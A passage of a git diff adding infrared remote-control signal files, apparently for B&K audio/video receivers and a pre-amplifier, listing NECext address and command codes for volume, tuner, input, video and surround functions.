+protocol: NECext +address: 1B 4E 00 00 +command: 0E 00 00 00 +# +name: SOURCE_TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0E 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: SOURCE_IN_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: Z2_CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: BK001_CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: VIDEO_RECORD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 10 00 00 00 +# +name: VIDEO_ZOOM_ASPECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 11 00 00 00 +# +name: FREQ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 12 00 00 00 +# +name: TUNER_FREQ_DIRECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 12 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 13 00 00 00 +# +name: TUNER_BAND_TOGGLE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 13 00 00 00 +# +name: VIDEO_FORMAT_EDID +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 14 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: AUDIO_CENTER- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CNTR_< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: BK001_CENTER- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: AUDIO_CENTER+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: CNTR_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: BK001_CENTER+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 17 00 00 00 +# +name: TUNER_STATION- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 18 00 00 00 +# +name: TUNER_STATION+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 18 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: AUDIO_REAR- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: REAR_< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: BK001_REAR- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: AUDIO_REAR+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: REAR_> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: BK001_REAR+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1B 00 00 00 +# +name: TUNER_TUNE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1C 00 00 00 +# +name: TUNER_TUNE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1C 00 00 00 +# +name: SUB_LEVEL_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: SUB_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: AUDIO_SUB- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: SUB_< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: BK001_SUB- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: SUB_LEVEL_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: AUDIO_SUB+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: SUB_> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: BK001_SUB+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: BALANCE_L +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: BK001_LEFT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1F 00 00 00 +# +name: BALANCE_R +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: BK001_RIGHT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 20 00 00 00 +# +name: REAR_DELAY_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 21 00 00 00 +# +name: REAR_DELAY_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 22 00 00 00 +# +name: MASTER_VOLUME_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: MASTER_VOLUME- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: Z2_VOL_DN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: BK001_VOLUME- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 23 00 00 00 +# +name: MASTER_VOLUME_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: MASTER_VOLUME+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: Z2_VOL_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: BK001_VOLUME+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 24 00 00 00 +# +name: SURROUND_TEST +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 25 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 26 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: NUMBER_+10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: BK001_NUMBER_+10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 29 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: AUDIO_EQ(STEP) +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: BK001_EQ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2A 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: DVD-A +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: AUDIO_DVD_AUDIO_PCM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: BK001_DVD-AUDIO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2B 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: BK001_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2D 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: BK001_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: MENU_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: BK001_MENU +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: BK001_ENTER/SELECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: NUMBER_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: BK001_NUMBER_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: NUMBER_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: BK001_NUMBER_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: NUMBER_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: BK001_NUMBER_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 33 00 00 00 +# +name: VIDEO_CONTRAST- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 34 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: NUMBER_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: BK001_NUMBER_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: NUMBER_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: BK001_NUMBER_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: EX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: NUMBER_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: BK001_NUMBER_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 37 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 38 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: NUMBER_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: BK001_NUMBER_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: NUMBER_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: BK001_NUMBER_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: LTRT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: NUMBER_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: BK001_NUMBER_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3B 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3C 00 00 00 +# +name: *_(STAR) +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: HEADPHONE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: NUMBER_0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: BK001_NUMBER_0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: #_(POUND) +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: BK001_Z +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: AUDIO_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: TUNER_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: VIDEO_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: BK001_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: VIDEO_BLOCK_NR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 41 00 00 00 +# +name: VIDEO_STRETCH+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 45 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: SOURCE_IN_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: Z2_SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: BK001_SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: BK001_PRESET+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4B 00 00 00 +# +name: VIDEO_SHARP- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4C 00 00 00 +# +name: PAN+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4E 00 00 00 +# +name: BK001_PANORAMA+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4E 00 00 00 +# +name: VIDEO_STRETCH_2.35 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 51 00 00 00 +# +name: INFORMATION +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 53 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 53 00 00 00 +# +name: BK001_INFO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 53 00 00 00 +# +name: VIDEO_BRIGHT- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 54 00 00 00 +# +name: VIDEO_CONTROL_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 56 00 00 00 +# +name: SOURCE_IN_11 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 57 00 00 00 +# +name: VIDEO_ZOOM+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 59 00 00 00 +# +name: VIDEO_DETAIL- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 5E 00 00 00 +# +name: VIDEO_LUMA_TRANSIENT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 61 00 00 00 +# +name: AUDIO_BASS- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: BASS< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: BK001_BASS- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: AUDIO_DOLBY_GAME +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: DPL +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: BK001_GAME +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: SOURCE_IN_9 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6E 00 00 00 +# +name: AUDIO_MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: BK001_MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: TUNER_PREVIOUS +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 73 00 00 00 +# +name: VIDEO_COLOR- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 74 00 00 00 +# +name: AM_TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: TUNER_AM_BAND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: Z2_RADIO_[AM] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: BK001_AM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: SOURCE_IN_14 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 77 00 00 00 +# +name: AUDIO_TREBLE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: TREB< +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: BK001_TREBLE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: VIDEO_SOURCE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7A 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7D 00 00 00 +# +name: BK001_EXIT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7D 00 00 00 +# +name: VIDEO_MOSQUITO_NR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7E 00 00 00 +# +name: BK001_DIMENSION+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 81 00 00 00 +# +name: VIDEO_STRETCH- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 85 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: AUDIO_CINEMA +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: BK001_CINEMA +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: VIDEO_SHARP+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8C 00 00 00 +# +name: VIDEO_PREFERENCE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8D 00 00 00 +# +name: FM_TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: TUNER_FM_BAND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: Z2_RADIO_[FM] +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: BK001_FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: VIDEO_PILLAR_BOX_ASP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 91 00 00 00 +# +name: VIDEO_BRIGHT+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 94 00 00 00 +# +name: SOURCE_IN_10 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 97 00 00 00 +# +name: VIDEO_ZOOM- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 99 00 00 00 +# +name: AUDIO_MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: BK001_MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: VIDEO_WIDE_ASPECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9C 00 00 00 +# +name: IMG+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9E 00 00 00 +# +name: BK001_IMAGE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9E 00 00 00 +# +name: VIDEO_CHROMA_ENHANCE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: A1 00 00 00 +# +name: TUNER_SEEK+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: A5 00 00 00 +# +name: AUDIO_DTS_NEO:6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: NEO_6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: BK001_NEO:6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: VIDEO_LIP_SYNC+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B1 00 00 00 +# +name: AUDIO_MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: BK001_MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: VIDEO_SLEEP_TIMER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B3 00 00 00 +# +name: BK001_SLEEP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B3 00 00 00 +# +name: VIDEO_COLOR+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B4 00 00 00 +# +name: SOURCE_IN_13 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B7 00 00 00 +# +name: AUDIO_SOURCE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: BA 00 00 00 +# +name: VIDEO_TEMPORAL_NR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: BE 00 00 00 +# +name: TUNER_GUIDE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C3 00 00 00 +# +name: TUNER_SEEK- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C5 00 00 00 +# +name: BK001_PRESET- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C6 00 00 00 +# +name: SURR +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CA 00 00 00 +# +name: BK001_SURROUND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CA 00 00 00 +# +name: PAN__ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CE 00 00 00 +# +name: BK001_PANORAMA- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CE 00 00 00 +# +name: VIDEO_LIP_SYNC- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D1 00 00 00 +# +name: AUDIO_LAST_INPUT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D3 00 00 00 +# +name: VIDEO_CONTRAST+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D4 00 00 00 +# +name: VIDEO_CONTROL_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D6 00 00 00 +# +name: SOURCE_IN_12 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: D7 00 00 00 +# +name: AUDIO_SOURCE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: DA 00 00 00 +# +name: VIDEO_DETAIL+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: DE 00 00 00 +# +name: VIDEO_ASPECT(STEP) +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E1 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: AUDIO_STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: BK001_STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: AUDIO_BASS+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: BASS_> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: BK001_BASS+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: AUDIO_DOLBY_PLIIX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: DPLII +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: BK001_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: TUNER_STEREO_MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EB 00 00 00 +# +name: VIDEO_NO_ASPECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EC 00 00 00 +# +name: IMG_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EE 00 00 00 +# +name: BK001_IMAGE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EE 00 00 00 +# +name: VIDEO_HUE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F4 00 00 00 +# +name: AUDIO_PREFERENCE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F5 00 00 00 +# +name: AUDIO_TREBLE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: TREB> +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: BK001_TREBLE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: VIDEO_SOURCE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FA 00 00 00 +# +name: BK001_DIMENSION- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir new file mode 100644 index 000000000..a30f9db8a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: SAVE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 00 00 00 00 +# +name: CTRL +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 01 00 00 00 +# +name: Z1 +type: parsed +protocol: NECext +address: 